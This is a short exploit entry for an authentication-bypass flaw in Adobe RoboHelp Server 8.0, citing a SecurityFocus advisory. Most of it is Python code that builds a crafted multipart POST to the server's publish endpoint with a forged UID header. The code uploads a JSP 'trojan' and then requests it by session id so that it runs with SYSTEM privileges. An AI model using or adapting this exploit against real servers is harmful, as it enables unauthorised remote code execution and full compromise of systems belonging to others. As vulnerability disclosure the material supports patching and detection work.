Adobe RoboHelp Server 8 - Authentication Bypass

source: https://www.securityfocus.com/bid/36245/info

Adobe RoboHelp Server is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to upload and execute arbitrary code with SYSTEM-level privileges.

RoboHelp Server 8.0 is affected; other versions may also be vulnerable.

b="-----------------------------111\r\n"
b+="Content-Disposition: form-data; name=\"filename\"; filename=\"test.jsp\"\r\n"
b+="Content-Type: application/x-java-archive\r\n\r\n"
b+=data # source code of our JSP trojan here
b+="\r\n"
b+="-----------------------------111--\r\n"

s="POST /robohelp/server?PUBLISH=1 HTTP/1.1\r\n"
s+="Host: %s:%d\r\n"%(host, port)
s+="User-Agent: Mozilla\r\n"
s+="UID: 1234\r\n"
s+="Content-Type: multipart/form-data; boundary=---------------------------111\r\n"
s+="Content-Length: %d\r\n"%len(b)
s+="\r\n"
s+=b

sock.sendall(s)
reply=sock.recv(4000)



Get the value of 'sessionid' from the reply and use it in the following to execute the JSP trojan:

s="GET /robohelp/robo/reserved/web/%s/test.jsp HTTP/1.0\r\n\r\n" % session_id
sock.sendall(s)